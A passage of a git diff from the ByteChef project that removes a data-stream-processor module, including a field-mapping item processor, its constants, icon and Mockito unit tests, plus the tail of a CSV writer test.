-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.ClusterElementContext;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.FileEntry;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.datastream.FieldDefinition;
-import java.io.ByteArrayInputStream;
-import java.nio.charset.StandardCharsets;
-import java.util.List;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Ivica Cardic
- */
-class CsvFileItemWriterTest {
-
-    private CsvFileItemWriter csvFileItemWriter;
-    private Parameters inputParameters;
-    private Parameters connectionParameters;
-    private ClusterElementContext context;
-    private FileEntry mockFileEntry;
-
-    @BeforeEach
-    void setUp() {
-        csvFileItemWriter = new CsvFileItemWriter();
-        inputParameters = mock(Parameters.class);
-        connectionParameters = mock(Parameters.class);
-        context = mock(ClusterElementContext.class);
-        mockFileEntry = mock(FileEntry.class);
-
-        when(inputParameters.getRequiredFileEntry(FILE_ENTRY)).thenReturn(mockFileEntry);
-    }
-
-    @Test
-    void testGetFieldsFromExistingCsvFile() {
-        String csvContent = "name,email,age\nJohn,john@example.com,30\nJane,jane@example.com,25";
-
-        setupMocks(csvContent, csvContent.length());
-
-        List<FieldDefinition> fields = csvFileItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(3);
-        assertThat(fields.get(0)
-            .name()).isEqualTo("name");
-        assertThat(fields.get(0)
-            .label()).isEqualTo("name");
-        assertThat(fields.get(0)
-            .type()).isEqualTo(String.class);
-        assertThat(fields.get(1)
-            .name()).isEqualTo("email");
-        assertThat(fields.get(2)
-            .name()).isEqualTo("age");
-    }
-
-    @Test
-    void testGetFieldsFromEmptyFile() {
-        String csvContent = "";
-
-        setupMocks(csvContent, 0);
-
-        List<FieldDefinition> fields = csvFileItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).isEmpty();
-    }
-
-    @Test
-    void testGetFieldsFromFileWithOnlyHeaderRow() {
-        String csvContent = "id,status,value";
-
-        setupMocks(csvContent, csvContent.length());
-
-        List<FieldDefinition> fields = csvFileItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(3);
-        assertThat(fields.get(0)
-            .name()).isEqualTo("id");
-        assertThat(fields.get(1)
-            .name()).isEqualTo("status");
-        assertThat(fields.get(2)
-            .name()).isEqualTo("value");
-    }
-
-    @Test
-    void testGetFieldsStripsWhitespace() {
-        String csvContent = "  first_name  ,  last_name  ,  email  \nJohn,Doe,john@example.com";
-
-        setupMocks(csvContent, csvContent.length());
-
-        List<FieldDefinition> fields = csvFileItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(3);
-        assertThat(fields.get(0)
-            .name()).isEqualTo("first_name");
-        assertThat(fields.get(1)
-            .name()).isEqualTo("last_name");
-        assertThat(fields.get(2)
-            .name()).isEqualTo("email");
-    }
-
-    @Test
-    void testGetFieldsWithEmptyHeaderLine() {
-        String csvContent = "\nJohn,Doe,john@example.com";
-
-        setupMocks(csvContent, csvContent.length());
-
-        List<FieldDefinition> fields = csvFileItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).isEmpty();
-    }
-
-    @Test
-    void testGetFieldsWithSingleColumn() {
-        String csvContent = "id\n1\n2\n3";
-
-        setupMocks(csvContent, csvContent.length());
-
-        List<FieldDefinition> fields = csvFileItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(1);
-        assertThat(fields.get(0)
-            .name()).isEqualTo("id");
-    }
-
-    private void setupMocks(String csvContent, long contentLength) {
-        ByteArrayInputStream inputStream = new ByteArrayInputStream(csvContent.getBytes(StandardCharsets.UTF_8));
-
-        when(context.file(any())).thenAnswer(invocation -> {
-            Context.ContextFunction<Context.File, ?> function = invocation.getArgument(0);
-            Context.File mockFile = mock(Context.File.class);
-
-            when(mockFile.getInputStream(any(FileEntry.class))).thenReturn(inputStream);
-            when(mockFile.getContentLength(any(FileEntry.class))).thenReturn(contentLength);
-
-            return function.apply(mockFile);
-        });
-    }
-}
diff --git a/server/libs/modules/components/data-stream-processor/build.gradle.kts b/server/libs/modules/components/data-stream-processor/build.gradle.kts
deleted file mode 100644
index 2347faebdb9..00000000000
--- a/server/libs/modules/components/data-stream-processor/build.gradle.kts
+++ /dev/null
@@ -1,6 +0,0 @@
-version = "1.0"
-
-dependencies {
-    implementation(project(":server:libs:core:commons:commons-util"))
-    implementation(project(":server:libs:platform:platform-component:platform-component-api"))
-}
diff --git a/server/libs/modules/components/data-stream-processor/src/main/java/com/bytechef/component/datastream/processor/DataStreamProcessorComponentHandler.java b/server/libs/modules/components/data-stream-processor/src/main/java/com/bytechef/component/datastream/processor/DataStreamProcessorComponentHandler.java
deleted file mode 100644
index fe678339d51..00000000000
--- a/server/libs/modules/components/data-stream-processor/src/main/java/com/bytechef/component/datastream/processor/DataStreamProcessorComponentHandler.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.datastream.processor;
-
-import static com.bytechef.component.definition.ComponentDsl.component;
-
-import com.bytechef.component.ComponentHandler;
-import com.bytechef.component.datastream.processor.datastream.FieldMapperItemProcessor;
-import com.bytechef.component.definition.ComponentCategory;
-import com.bytechef.component.definition.ComponentDefinition;
-import com.google.auto.service.AutoService;
-
-/**
- * @author Ivica Cardic
- */
-@AutoService(ComponentHandler.class)
-public class DataStreamProcessorComponentHandler implements ComponentHandler {
-
-    private static final ComponentDefinition COMPONENT_DEFINITION = component("dataStreamProcessor")
-        .title("Data Stream Processor")
-        .description("Processes and transforms data in data streams.")
-        .icon("path:assets/data-stream-processor.svg")
-        .categories(ComponentCategory.HELPERS)
-        .clusterElements(FieldMapperItemProcessor.CLUSTER_ELEMENT_DEFINITION);
-
-    @Override
-    public ComponentDefinition getDefinition() {
-        return COMPONENT_DEFINITION;
-    }
-}
diff --git a/server/libs/modules/components/data-stream-processor/src/main/java/com/bytechef/component/datastream/processor/constant/DataStreamProcessorConstants.java b/server/libs/modules/components/data-stream-processor/src/main/java/com/bytechef/component/datastream/processor/constant/DataStreamProcessorConstants.java
deleted file mode 100644
index 5de3a78961a..00000000000
--- a/server/libs/modules/components/data-stream-processor/src/main/java/com/bytechef/component/datastream/processor/constant/DataStreamProcessorConstants.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.datastream.processor.constant;
-
-/**
- * @author Ivica Cardic
- */
-public class DataStreamProcessorConstants {
-
-    public static final String MAPPINGS = "mappings";
-    public static final String SOURCE_FIELD = "sourceField";
-    public static final String DESTINATION_FIELD = "destinationField";
-    public static final String DEFAULT_VALUE = "defaultValue";
-}
diff --git a/server/libs/modules/components/data-stream-processor/src/main/java/com/bytechef/component/datastream/processor/datastream/FieldMapperItemProcessor.java b/server/libs/modules/components/data-stream-processor/src/main/java/com/bytechef/component/datastream/processor/datastream/FieldMapperItemProcessor.java
deleted file mode 100644
index c2233cfa59c..00000000000
--- a/server/libs/modules/components/data-stream-processor/src/main/java/com/bytechef/component/datastream/processor/datastream/FieldMapperItemProcessor.java
+++ /dev/null
@@ -1,287 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.datastream.processor.datastream;
-
-import static com.bytechef.component.datastream.processor.constant.DataStreamProcessorConstants.DEFAULT_VALUE;
-import static com.bytechef.component.datastream.processor.constant.DataStreamProcessorConstants.DESTINATION_FIELD;
-import static com.bytechef.component.datastream.processor.constant.DataStreamProcessorConstants.MAPPINGS;
-import static com.bytechef.component.datastream.processor.constant.DataStreamProcessorConstants.SOURCE_FIELD;
-import static com.bytechef.component.definition.ComponentDsl.array;
-import static com.bytechef.component.definition.ComponentDsl.bool;
-import static com.bytechef.component.definition.ComponentDsl.dynamicProperties;
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.option;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.definition.Property.ControlType.JSON_SCHEMA_BUILDER;
-import static com.bytechef.component.definition.datastream.ItemReader.SOURCE;
-import static com.bytechef.component.definition.datastream.ItemWriter.DESTINATION;
-
-import com.bytechef.component.definition.ClusterElementContext;
-import com.bytechef.component.definition.ClusterElementDefinition.ClusterElementType;
-import com.bytechef.component.definition.ClusterElementDefinition.OptionsFunction;
-import com.bytechef.component.definition.ComponentDsl;
-import com.bytechef.component.definition.ComponentDsl.ModifiableClusterElementDefinition;
-import com.bytechef.component.definition.Option;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.Property.ValueProperty;
-import com.bytechef.component.definition.TypeReference;
-import com.bytechef.component.definition.datastream.FieldDefinition;
-import com.bytechef.component.definition.datastream.FieldMapping;
-import com.bytechef.component.definition.datastream.FieldsProvider;
-import com.bytechef.platform.component.definition.ClusterElementContextAware;
-import com.bytechef.platform.component.definition.datastream.ItemProcessor;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import org.jspecify.annotations.NonNull;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-
-/**
- * Mapping processor that transforms data between source and destination schemas. Only mapped fields pass through;
- * unmapped source fields are dropped. Missing source fields use the configured default value or null.
- *
- * @author Ivica Cardic
- */
-public class FieldMapperItemProcessor implements ItemProcessor<Object, Object> {
-
-    private static final Logger logger = LoggerFactory.getLogger(FieldMapperItemProcessor.class);
-
-    public static final String DESTINATION_SCHEMA = "destinationSchema";
-    public static final String SCHEMAS = "schemas";
-    public static final String SOURCE_SCHEMA = "sourceSchema";
-    public static final String USE_JSON_SCHEMA = "useJsonSchema";
-
-    public static final ModifiableClusterElementDefinition<FieldMapperItemProcessor> CLUSTER_ELEMENT_DEFINITION =
-        ComponentDsl.<FieldMapperItemProcessor>clusterElement("fieldMapper")
-            .title("Field Mapper")
-            .description("Maps fields from source to destination columns.")
-            .type(PROCESSOR)
-            .object(FieldMapperItemProcessor::new)
-            .properties(
-                bool(USE_JSON_SCHEMA)
-                    .label("Use JSON Schema")
-                    .description("Enable to manually define field schemas using JSON Schema format.")
-                    .expressionEnabled(false)
-                    .defaultValue(false),
-                dynamicProperties(SCHEMAS)
-                    .header("Field Schemas")
-                    .propertiesLookupDependsOn(USE_JSON_SCHEMA)
-                    .properties(FieldMapperItemProcessor::getSchemaProperties),
-                array(MAPPINGS)
-                    .label("Field Mappings")
-                    .description("List of field mappings from source to destination.")
-                    .required(true)
-                    .items(
-                        object()
-                            .properties(
-                                string(SOURCE_FIELD)
-                                    .label("Source Field")
-                                    .description("The field name from the source.")
-                                    .options(
-                                        (OptionsFunction<String>) FieldMapperItemProcessor::getSourceFieldOptions)
-                                    .required(true),
-                                string(DESTINATION_FIELD)
-                                    .label("Destination Field")
-                                    .description("The field name for the destination.")
-                                    .options(
-                                        (OptionsFunction<String>) FieldMapperItemProcessor::getDestinationFieldOptions)
-                                    .required(true),
-                                string(DEFAULT_VALUE)
-                                    .label("Default Value")
-                                    .description("Default value when source field is missing."))));
-
-    public static List<? extends Option<String>> getDestinationFieldOptions(
-        Parameters inputParameters, Parameters connectionParameters, Map<String, String> lookupDependsOnPaths,
-        String searchText, ClusterElementContext context) {
-
-        return getOptions(inputParameters, DESTINATION, DESTINATION_SCHEMA, context);
-    }
-
-    public static List<? extends ValueProperty<?>> getSchemaProperties(
-        Parameters inputParameters, Parameters connectionParameters, Map<String, String> lookupDependsOnPaths,
-        ClusterElementContext context) {
-
-        if (!inputParameters.getBoolean(USE_JSON_SCHEMA, false)) {
-            return List.of();
-        }
-
-        List<ValueProperty<?>> properties = new ArrayList<>();
-
-        List<FieldDefinition> sourceFields = ((ClusterElementContextAware) context).resolveClusterElement(
-            SOURCE,
-            (clusterElement, inputParameters1, connectionParameters1, context1) -> ((FieldsProvider) clusterElement)
-                .getFields(inputParameters1, connectionParameters1, context1));
-
-        if (sourceFields == null || sourceFields.isEmpty()) {
-            properties.add(
-                string(SOURCE_SCHEMA)
-                    .label("Source Schema")
-                    .description("Define the source field structure when not auto-detected.")
-                    .controlType(JSON_SCHEMA_BUILDER)
-                    .required(true));
-        }
-
-        List<FieldDefinition> destinationFields = ((ClusterElementContextAware) context).resolveClusterElement(
-            DESTINATION,
-            (clusterElement, inputParameters1, connectionParameters1, context1) -> ((FieldsProvider) clusterElement)
-                .getFields(inputParameters1, connectionParameters1, context1));
-
-        if (destinationFields == null || destinationFields.isEmpty()) {
-            properties.add(
-                string(DESTINATION_SCHEMA)
-                    .label("Destination Schema")
-                    .description("Define the destination field structure when not auto-detected.")
-                    .controlType(JSON_SCHEMA_BUILDER)
-                    .required(true));
-        }
-
-        return properties;
-    }
-
-    public static List<? extends Option<String>> getSourceFieldOptions(
-        Parameters inputParameters, Parameters connectionParameters, Map<String, String> lookupDependsOnPaths,
-        String searchText, ClusterElementContext context) {
-
-        return getOptions(inputParameters, SOURCE, SOURCE_SCHEMA, context);
-    }
-
-    @Override
-    public Map<String, Object> process(
-        Map<String, Object> item, Parameters inputParameters, Parameters connectionParameters,
-        ClusterElementContext context) {
-
-        Map<String, Object> result = new HashMap<>();
-
-        List<FieldMapping> fieldMappings = inputParameters
-            .getList(MAPPINGS, new TypeReference<Map<String, Object>>() {}, List.of())
-            .stream()
-            .map(map -> new FieldMapping(
-                (String) map.get(SOURCE_FIELD), (String) map.get(DESTINATION_FIELD), map.get(DEFAULT_VALUE)))
-            .toList();
-
-        for (FieldMapping fieldMapping : fieldMappings) {
-            Object value;
-            String sourceField = fieldMapping.sourceField();
-            String destinationField = fieldMapping.destinationField();
-
-            if (sourceField.contains(".")) {
-                if (context.nested(nested -> nested.containsPath(item, sourceField))) {
-                    value = context.nested(nested -> nested.getValue(item, sourceField));
-                } else {
-                    value = fieldMapping.defaultValue();
-                }
-            } else {
-                if (item.containsKey(sourceField)) {
-                    value = item.get(sourceField);
-                } else {
-                    value = fieldMapping.defaultValue();
-                }
-            }
-
-            if (destinationField.contains(".")) {
-                context.nested(nested -> nested.setValue(result, destinationField, value));
-            } else {
-                result.put(destinationField, value);
-            }
-        }
-
-        return result;
-    }
-
-    @SuppressWarnings("unchecked")
-    private static void extractFieldsRecursively(
-        Map<String, Object> properties, String prefix, List<FieldDefinition> fields) {
-
-        for (Map.Entry<String, Object> entry : properties.entrySet()) {
-            String fieldName = entry.getKey();
-
-            if (!(entry.getValue() instanceof Map)) {
-                continue;
-            }
-
-            Map<String, Object> fieldSchema = (Map<String, Object>) entry.getValue();
-            String fullPath = prefix.isEmpty() ? fieldName : prefix + "." + fieldName;
-            String type = (String) fieldSchema.get("type");
-            Object nestedPropertiesObj = fieldSchema.get("properties");
-
-            if ("object".equals(type) && nestedPropertiesObj instanceof Map) {
-                extractFieldsRecursively((Map<String, Object>) nestedPropertiesObj, fullPath, fields);
-            } else {
-                String label = fieldSchema.containsKey("title")
-                    ? (String) fieldSchema.get("title")
-                    : fullPath;
-
-                fields.add(new FieldDefinition(fullPath, label));
-            }
-        }
-    }
-
-    @NonNull
-    private static List<? extends Option<String>> getOptions(
-        Parameters inputParameters, ClusterElementType clusterElementType, String jsonSchema,
-        ClusterElementContext context) {
-
-        List<FieldDefinition> fields = ((ClusterElementContextAware) context).resolveClusterElement(
-            clusterElementType,
-            (clusterElement, inputParameters1, connectionParameters1, context1) -> ((FieldsProvider) clusterElement)
-                .getFields(inputParameters1, connectionParameters1, context1));
-
-        if (fields != null && !fields.isEmpty()) {
-            return fields.stream()
-                .map(field -> option(field.label(), field.name()))
-                .toList();
-        }
-
-        String schemaJson = inputParameters.getString(jsonSchema);
-
-        if (schemaJson != null && !schemaJson.isBlank()) {
-            return parseFieldsFromJsonSchema(schemaJson, context).stream()
-                .map(field -> option(field.label(), field.name()))
-                .toList();
-        }
-
-        return List.of();
-    }
-
-    @SuppressWarnings("unchecked")
-    private static List<FieldDefinition> parseFieldsFromJsonSchema(String schemaJson, ClusterElementContext context) {
-        if (schemaJson == null || schemaJson.isBlank()) {
-            return List.of();
-        }
-
-        try {
-            Map<String, ?> schema = context.json(json -> json.readMap(schemaJson));
-            Object propertiesObj = schema.get("properties");
-
-            if (!(propertiesObj instanceof Map)) {
-                return List.of();
-            }
-
-            List<FieldDefinition> fields = new ArrayList<>();
-
-            extractFieldsRecursively((Map<String, Object>) propertiesObj, "", fields);
-
-            return fields;
-        } catch (Exception exception) {
-            logger.warn("Failed to parse JSON schema: {}", exception.getMessage());
-
-            return List.of();
-        }
-    }
-}
diff --git a/server/libs/modules/components/data-stream-processor/src/main/resources/assets/data-stream-processor.svg b/server/libs/modules/components/data-stream-processor/src/main/resources/assets/data-stream-processor.svg
deleted file mode 100644
index 1edce9a1ff1..00000000000
--- a/server/libs/modules/components/data-stream-processor/src/main/resources/assets/data-stream-processor.svg
+++ /dev/null
@@ -1 +0,0 @@
-<?xml version="1.0" ?><svg fill="none" height="20" viewBox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"><path d="M7.5 9.25C7.5 6.07436 10.0744 3.5 13.25 3.5H13.75C14.1642 3.5 14.5 3.16421 14.5 2.75C14.5 2.33579 14.1642 2 13.75 2H13.25C9.24594 2 6 5.24594 6 9.25V10.25C6 10.6642 5.66421 11 5.25 11H2.75C2.33579 11 2 11.3358 2 11.75C2 12.1642 2.33579 12.5 2.75 12.5H5.25C6.49264 12.5 7.5 11.4926 7.5 10.25V9.25ZM13.75 6.25C11.9551 6.25 10.5 7.70507 10.5 9.5V10.5C10.5 13.1234 8.37335 15.25 5.75 15.25H2.75C2.33579 15.25 2 14.9142 2 14.5C2 14.0858 2.33579 13.75 2.75 13.75H5.75C7.54493 13.75 9 12.2949 9 10.5V9.5C9 6.87665 11.1266 4.75 13.75 4.75H17.25C17.6642 4.75 18 5.08579 18 5.5C18 5.91421 17.6642 6.25 17.25 6.25H13.75ZM14.25 9C13.8358 9 13.5 9.33579 13.5 9.75V10.75C13.5 14.7541 10.2541 18 6.25 18H5.75C5.33579 18 5 17.6642 5 17.25C5 16.8358 5.33579 16.5 5.75 16.5H6.25C9.42564 16.5 12 13.9256 12 10.75V9.75C12 8.50736 13.0074 7.5 14.25 7.5H17.25C17.6642 7.5 18 7.83579 18 8.25C18 8.66421 17.6642 9 17.25 9H14.25Z" fill="#212121"/></svg>
diff --git a/server/libs/modules/components/data-stream-processor/src/test/java/com/bytechef/component/datastream/processor/DataStreamProcessorComponentHandlerTest.java b/server/libs/modules/components/data-stream-processor/src/test/java/com/bytechef/component/datastream/processor/DataStreamProcessorComponentHandlerTest.java
deleted file mode 100644
index e56a2b3e182..00000000000
--- a/server/libs/modules/components/data-stream-processor/src/test/java/com/bytechef/component/datastream/processor/DataStreamProcessorComponentHandlerTest.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.datastream.processor;
-
-import com.bytechef.test.jsonasssert.JsonFileAssert;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Ivica Cardic
- */
-class DataStreamProcessorComponentHandlerTest {
-
-    @Test
-    void testGetComponentDefinition() {
-        JsonFileAssert.assertEquals(
-            "definition/data-stream-processor_v1.json", new DataStreamProcessorComponentHandler().getDefinition());
-    }
-}
diff --git a/server/libs/modules/components/data-stream-processor/src/test/java/com/bytechef/component/datastream/processor/datastream/FieldMapperItemProcessorTest.java b/server/libs/modules/components/data-stream-processor/src/test/java/com/bytechef/component/datastream/processor/datastream/FieldMapperItemProcessorTest.java
deleted file mode 100644
index 9554dd04fcb..00000000000
--- a/server/libs/modules/components/data-stream-processor/src/test/java/com/bytechef/component/datastream/processor/datastream/FieldMapperItemProcessorTest.java
+++ /dev/null
@@ -1,327 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.datastream.processor.datastream;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertFalse;
-import static org.junit.jupiter.api.Assertions.assertNull;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.doAnswer;
-import static org.mockito.Mockito.doReturn;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.ClusterElementContext;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TypeReference;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Ivica Cardic
- */
-class FieldMapperItemProcessorTest {
-
-    private FieldMapperItemProcessor fieldMapperItemProcessor;
-    private Parameters inputParameters;
-    private Parameters connectionParameters;
-    private ClusterElementContext context;
-
-    @BeforeEach
-    void setUp() {
-        fieldMapperItemProcessor = new FieldMapperItemProcessor();
-        inputParameters = mock(Parameters.class);
-        connectionParameters = mock(Parameters.class);
-        context = mock(ClusterElementContext.class);
-
-        when(context.nested(any())).thenAnswer(invocation -> {
-            Context.ContextFunction<ClusterElementContext.Nested, ?> function = invocation.getArgument(0);
-            ClusterElementContext.Nested mockNested = mock(ClusterElementContext.Nested.class);
-
-            when(mockNested.containsPath(any(), any())).thenAnswer(containsInvocation -> {
-                Map<String, Object> map = containsInvocation.getArgument(0);
-                String path = containsInvocation.getArgument(1);
-
-                return containsNestedPath(map, path);
-            });
-
-            when(mockNested.getValue(any(), any())).thenAnswer(getInvocation -> {
-                Map<String, Object> map = getInvocation.getArgument(0);
-                String path = getInvocation.getArgument(1);
-
-                return getNestedValue(map, path);
-            });
-
-            doAnswer(setInvocation -> {
-                Map<String, Object> map = setInvocation.getArgument(0);
-                String path = setInvocation.getArgument(1);
-                Object value = setInvocation.getArgument(2);
-
-                setNestedValue(map, path, value);
-
-                return map;
-            }).when(mockNested)
-                .setValue(any(), any(), any());
-
-            return function.apply(mockNested);
-        });
-    }
-
-    @SuppressWarnings("unchecked")
-    private boolean containsNestedPath(Map<String, Object> map, String path) {
-        if (map == null || path == null || path.isEmpty()) {
-            return false;
-        }
-
-        String[] parts = path.split("\\.");
-        Object current = map;
-
-        for (int i = 0; i < parts.length; i++) {
-            if (current instanceof Map) {
-                Map<String, Object> currentMap = (Map<String, Object>) current;
-
-                if (i == parts.length - 1) {
-                    return currentMap.containsKey(parts[i]);
-                }
-
-                current = currentMap.get(parts[i]);
-
-                if (current == null) {
-                    return false;
-                }
-            } else {
-                return false;
-            }
-        }
-
-        return false;
-    }
-
-    @SuppressWarnings("unchecked")
-    private Object getNestedValue(Map<String, Object> map, String path) {
-        if (map == null || path == null || path.isEmpty()) {
-            return null;
-        }
-
-        String[] parts = path.split("\\.");
-        Object current = map;
-
-        for (String part : parts) {
-            if (current instanceof Map) {
-                current = ((Map<String, Object>) current).get(part);
-
-                if (current == null) {
-                    return null;
-                }
-            } else {
-                return null;
-            }
-        }
-
-        return current;
-    }
-
-    @SuppressWarnings("unchecked")
-    private void setNestedValue(Map<String, Object> map, String path, Object value) {
-        if (map == null || path == null || path.isEmpty()) {
-            return;
-        }
-
-        String[] parts = path.split("\\.");
-        Map<String, Object> current = map;
-
-        for (int i = 0; i < parts.length - 1; i++) {
-            Object next = current.get(parts[i]);
-
-            if (next instanceof Map) {
-                current = (Map<String, Object>) next;
-            } else {
-                Map<String, Object> newMap = new HashMap<>();
-
-                current.put(parts[i], newMap);
-
-                current = newMap;
-            }
-        }
-
-        current.put(parts[parts.length - 1], value);
-    }
-
-    @Test
-    void testProcessMapsFieldsCorrectly() throws Exception {
-        List<Map<String, Object>> mappings = List.of(
-            Map.of("sourceField", "firstName", "destinationField", "first_name"),
-            Map.of("sourceField", "lastName", "destinationField", "last_name"));
-
-        doReturn(mappings).when(inputParameters)
-            .getList(eq("mappings"), any(TypeReference.class), eq(List.of()));
-
-        Map<String, Object> input = Map.of("firstName", "John", "lastName", "Doe", "email", "john@example.com");
-
-        Map<String, Object> result = fieldMapperItemProcessor.process(
-            input, inputParameters, connectionParameters, context);
-
-        assertEquals(2, result.size());
-        assertEquals("John", result.get("first_name"));
-        assertEquals("Doe", result.get("last_name"));
-        assertFalse(result.containsKey("email"), "Unmapped fields should be dropped");
-    }
-
-    @Test
-    void testProcessUsesDefaultValueForMissingField() throws Exception {
-        List<Map<String, Object>> mappings = List.of(
-            Map.of("sourceField", "firstName", "destinationField", "first_name"),
-            Map.of("sourceField", "middleName", "destinationField", "middle_name", "defaultValue", "N/A"));
-
-        doReturn(mappings).when(inputParameters)
-            .getList(eq("mappings"), any(TypeReference.class), eq(List.of()));
-
-        Map<String, Object> input = Map.of("firstName", "John");
-
-        Map<String, Object> result = fieldMapperItemProcessor.process(
-            input, inputParameters, connectionParameters, context);
-
-        assertEquals(2, result.size());
-        assertEquals("John", result.get("first_name"));
-        assertEquals("N/A", result.get("middle_name"));
-    }
-
-    @Test
-    void testProcessUsesNullForMissingFieldWithNoDefault() throws Exception {
-        List<Map<String, Object>> mappings = List.of(
-            Map.of("sourceField", "firstName", "destinationField", "first_name"),
-            Map.of("sourceField", "middleName", "destinationField", "middle_name"));
-
-        doReturn(mappings).when(inputParameters)
-            .getList(eq("mappings"), any(TypeReference.class), eq(List.of()));
-
-        Map<String, Object> input = Map.of("firstName", "John");
-
-        Map<String, Object> result = fieldMapperItemProcessor.process(
-            input, inputParameters, connectionParameters, context);
-
-        assertEquals(2, result.size());
-        assertEquals("John", result.get("first_name"));
-        assertNull(result.get("middle_name"));
-    }
-
-    @Test
-    void testProcessWithEmptyMappings() throws Exception {
-        doReturn(List.of()).when(inputParameters)
-            .getList(eq("mappings"), any(TypeReference.class), eq(List.of()));
-
-        Map<String, Object> input = Map.of("firstName", "John", "lastName", "Doe");
-
-        Map<String, Object> result = fieldMapperItemProcessor.process(
-            input, inputParameters, connectionParameters, context);
-
-        assertTrue(result.isEmpty());
-    }
-
-    @Test
-    void testProcessWithNestedSourceField() throws Exception {
-        List<Map<String, Object>> mappings = List.of(
-            Map.of("sourceField", "user.name", "destinationField", "name"),
-            Map.of("sourceField", "user.email", "destinationField", "email"));
-
-        doReturn(mappings).when(inputParameters)
-            .getList(eq("mappings"), any(TypeReference.class), eq(List.of()));
-
-        Map<String, Object> user = Map.of("name", "John", "email", "john@example.com");
-        Map<String, Object> input = Map.of("user", user);
-
-        Map<String, Object> result = fieldMapperItemProcessor.process(
-            input, inputParameters, connectionParameters, context);
-
-        assertEquals(2, result.size());
-        assertEquals("John", result.get("name"));
-        assertEquals("john@example.com", result.get("email"));
-    }
-
-    @Test
-    void testProcessWithNestedDestinationField() throws Exception {
-        List<Map<String, Object>> mappings = List.of(
-            Map.of("sourceField", "firstName", "destinationField", "user.name"),
-            Map.of("sourceField", "userEmail", "destinationField", "user.email"));
-
-        doReturn(mappings).when(inputParameters)
-            .getList(eq("mappings"), any(TypeReference.class), eq(List.of()));
-
-        Map<String, Object> input = Map.of("firstName", "John", "userEmail", "john@example.com");
-
-        Map<String, Object> result = fieldMapperItemProcessor.process(
-            input, inputParameters, connectionParameters, context);
-
-        @SuppressWarnings("unchecked")
-        Map<String, Object> user = (Map<String, Object>) result.get("user");
-
-        assertEquals("John", user.get("name"));
-        assertEquals("john@example.com", user.get("email"));
-    }
-
-    @Test
-    void testProcessWithBothNestedSourceAndDestinationFields() throws Exception {
-        List<Map<String, Object>> mappings = List.of(
-            Map.of("sourceField", "source.data.name", "destinationField", "target.info.fullName"),
